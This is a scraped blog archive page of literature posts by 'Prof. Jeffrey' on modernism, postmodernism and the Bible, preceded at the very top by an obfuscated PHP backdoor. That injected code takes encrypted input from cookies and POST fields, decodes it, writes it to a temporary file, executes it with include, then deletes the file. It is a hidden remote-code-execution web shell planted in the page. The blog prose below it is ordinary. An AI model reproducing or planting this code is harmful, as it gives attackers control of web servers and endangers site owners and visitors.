$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} History – Page 2 – 50 Books to Read Before You Die

words to inspire before you expire

Tag: History (Page 2 of 2)

“‘There are two great powers . . . and they’ve been fighting since time began. Every advance in human life, every scrap of knowledge and wisdom and decency we have has been torn by one side from the teeth of the other. Every little increase in human freedom has been fought over ferociously between those who want us to know more and be wiser and stronger, and those who want us to obey and be humble and submit.”

—from The Subtle Knife by Philip Pullman

“—But it’s no use, says he. Force, hatred, history, all that. That’s not life for men and women, insult and hatred. And everybody knows that it’s the very opposite of that that is really life.

—What? says Alf.

—Love, says Bloom, I mean the opposite of hatred.”

—from Ulysses by James Joyce

Off-Topic: Modern and Postmodern Literature

Hello again, class.

We’ll have a bit of a history lesson today, and talk about literary periods. Historical context can redefine a piece of literature, and something that’s always helped me with reading older texts is understanding which period of history it came from. The Victorian Era, for example, was the era of Great Britain during the reign of Queen Victoria. I know little bits about Victorian society, belief systems, social stigmas . . . each one increasing my understanding of novels and poems of the time. It’s basic reading strategy any good blog professor should know.

My two favorite periods of literature are Modernism and Postmodernism (which are more like one 2-part period, but I didn’t write the textbooks). More than being the eras of some of my favorite works, I think the majority of the books on the 50-books list could fall in the categories of modern or postmodern literature. That alone makes it worth knowing what these categories mean and how they apply to novels on the list.

(Disclaimer: I am summing up entire textbooks worth of information into a blog post. It’s a LIMITED analysis.)


Modern writer F. Scott Fitzgerald, author of “The Great Gatsby.”

Modern literature doesn’t actually mean “modern” like new or contemporary. It sort of meant that at the time, but that period is about a hundred years old by now. When people talk about modern literature, they’re usually referring to the first half of the 20th century, ending around the same time as the end of WWII. That period of history was, on a worldwide scale, sheer chaos.

Both World Wars, the Great Depression, political movements for women’s rights, the Harlem Renaissance, introduction of Freud’s theories, the roaring 20’s, advances in technology . . . these are fractions of the chaos of the time. Traditions were breaking down, becoming fragmented copies of the old world. Questions were asked about morality, society, sexuality, religion, government, the future—questions that were never considered before.

Modern Writer Ernest Hemingway, works including “The Sun Also Rises” and “The Old Man and the Sea.”

The art reflected the chaos. Novels like The Grapes of Wrath and As I Lay Dying were chaotic in the most complicated ways; they broke the rules of grammar and storytelling, and they sacrificed old traditions to make room for greater truths. Poems like T. S. Eliot’s “The Waste Land” and W. B. Yeats’ “The Second Coming” broke the rules of poetry and removed the comfort of structure.


The dates are shifty for Modernism, so they are just as shifty for the sequel, Postmodernism. Ending with WWII and working through the Cold War and the later half of the 20th century, the Postmodern Era shares a lot of similarities to Modernism. The chaos of the 50s, 60s, and onward, the continuing breakdown of traditional values, the Vietnam and Korea conflicts, the birth of nuclear power, the Civil Rights movement . . . the chaos continued.

Postmodern poet Allen Ginsberg, author of “Howl.”

But one of the key differences was how the artists responded (which is why it gets a different name in the textbooks). The artists of the modern era were more afraid of the chaos, and the art was used to help them cope with it. But postmodern artists celebrated the chaos; they relished in the collapse of the old and the strangeness of the new.

Novels like The Catcher in the RyeThe Color Purpleand On the Road fall in the postmodern category. These writers took the previous generation’s fear and apprehension and transformed it into a movement that praised the breaking of tradition. Novels like these lived into the chaos of the time.


Postmodern author Margaret Atwood, author of “The Handmaid’s Tale.”

But as I said, the reason I chose these two periods for today’s lesson is not just because they’re my favorite, but because they sum up most of the books on the 50-books list. Before the 20th Century, elements of modern and postmodern literature can be seen popping up among the best of literature. Novels like The Picture of Dorian Gray and Pride and Prejudice and even older pre-novel works like Hamlet and The Canterbury Tales have elements reflecting the chaos: the depths of psychology, the fear of advancing technology, the downfall of conventionality, the inherent wrongness in rules of morality and religion.

Personally, I think all of literature was leading toward the birth of modern works. Questions about race asked by Oroonoko and Robinson Crusoe are answered by literature from the Harlem Renaissance. The heavily structured language of the Victorian Era’s A Christmas Carol and The War of the Worlds led to the deconstruction of language in A Portrait of the Artist as a Young Man. Early women writers like Aphra Behn and Jane Austen opened the doors for modern and postmodern writers like Virginia Woolf and Alice Walker. There’s no Ulysses without Dante’s Divine Comedy.


That’s my theory, anyway. And I like it for the same reason I like Ulysses: the “everything-is-connected”-ness of it all. Granted, it’s not a very scholarly theory, but it puts the “story” in “history.”

As I finish up Ulysses, you’ll hear more of this theory—next week is the big one!

Until then, enjoy your week.

Prof. Jeffrey

“Once the Arabs had ruled here; then the Europeans had come; now the Europeans were about to go away. But little had changed in the manners or minds of men . . . People lived as they had always done; there was no break between past and present. All that had happened in the past was washed away; there was always only the present. It was as though, as a result of some disturbance in the heavens, the early morning light was always receding into the darkness, and men lived in a perpetual dawn.”

—from A Bend in the River by V. S. Naipaul

The Bible

bible-textGood morning class.

Today’s lesson is pretty serious—the Bible is arguably the most important text in human history, so I’ll begin with a kind of disclaimer:

Just like with Hamlet last week, I can’t possibly talk about everything that the Bible entails. Even worse, I can’t actually state a fact on the Bible without saying something potentially offensive. Everyone has their own experience with religion, some more positive than others, and even having the Bible on the “50 Books to Read Before You Die” list is debatable. There are people who hate it, people who are inspired by it, people who avoid it entirely, and people who use, misuse, and abuse it everyday.

With that in mind, I have two goals. 1) I’m going to talk about how the Bible has impacted me and my life (without bearing too much of my soul), and 2) I’m going to explain why I think you should read the Bible before you die. My hope is that I portray the Bible with not-too-much bias, and that you, students, are able to read this post with an open mind.


When I set out to read the Bible in its entirety, it was to improve my knowledge of the religious beliefs I had been practicing my entire life. I was in my senior year of high school when I started, and I read small sections of the Bible everyday throughout college. It was often difficult to continue, but I accomplished the task and am very glad that I did.

…But the Bible can be profoundly boring and profoundly outdated. Not only are the lists of names, endless instructions, and intricate details for tabernacles tedious…these are often followed by passages that forbid women to speak in church, condemn homosexuality, and encourage slavery, murder, and war. These passages make a significant portion of the Bible difficult to read.

An illustration of Naomi and Ruth, from the book of Ruth (Old Testament)

An illustration of Naomi and Ruth, from the Book of Ruth (Old Testament)

For me, these passages are admissible because of historical and cultural context. It’s certainly worth mentioning that the Bible is the oldest text on the 50-books list—it’s a collection of documents passed down orally, eventually written down, and translated multiple times over the course of thousands of years. Add to this that the authors were men in hugely male-dominated societies, and you should arrive at one obvious conclusion: the Bible is flawed.

The Bible is also incredibly beautiful. It doesn’t take a belief in God to see that many of the Psalms are moving works of poetry, or that Jesus’ parables are deep and layered metaphors. I really enjoyed reading and rereading these moments, where religion joined song and meaning. I am an English major, after all.

But the moments I enjoyed most were specifically for religious reasons—mostly, the passages that refer to love. My ideas of love come from the Bible, because most of the books I’ve read involve the kind of love that comes from the Bible (such as the Harry Potter series, which is more about love than anything else). Love that is powerful, sweeping, gentle, emotional, forgiving, and never-ending…it’s found in some of my favorite Bible passages.

As I studied each passage, I flinched at the offensive moments, almost nodded off at the boring moments, and happily praised the beautiful moments. As a practicing, active Christian, it means a lot to me that I don’t actively practice every instruction or belief in the Bible. It also means a lot to me that Biblical interpretations mean just as much to me as the text itself—it is a translation, after all, and I don’t mean to learn Hebrew any time soon.

The Nativity Scene

The Nativity Scene

I view the Bible as a complicated guide for living life. It is helpful, even with its prejudices, when it is read for spiritual growth or information. When it’s used as a tool for power or manipulation, it can easily become abusive, and this happens daily. My beliefs aren’t too complicated here—when I think of evil, I don’t think of a horned devil or a fiery hell; I think of the capacity for evil within human beings. I think evil is hatred and segregation. People who use the Bible to oppress or suppress others are falling prey to their own evil capacity. Parts of the Bible fall into this category—I use these passages for information (i.e., to understand the culture of the time), but these passages have very little, or nothing at all, to do with my religious practice.


On the other hand, the Bible is also worth looking at simply because it’s referenced in every book on the 50-books list. Even the ones I haven’t read yet—I’m willing to bet they each use it as inspiration. In the history of English literature, nothing has made a bigger impact than the Bible. Looking more closely at the Bible has its own benefits, but it’s also the key to understanding some of the greatest literary masterpieces from the past thousand years.

A close up of Michelangelo's painting on the Sistine Chapel

A close up of Michelangelo’s painting on the Sistine Chapel

But for me, it’s about the journey of love. Connection, family, honesty, communion, trust, forgiveness, communication, acceptance, sacrifice, faith, pain…it’s all love in different ways. That’s the “point” of the Bible.


I’ve already started reading my next novel: The Catcher in the Rye. It actually has a lot in common with Hamlet, with the focus on a vengeful, misguided youth, so it seemed like a logical leap—granted, it’s a leap forward hundreds of years and across the Atlantic…

More on that next week!

Prof. Jeffrey

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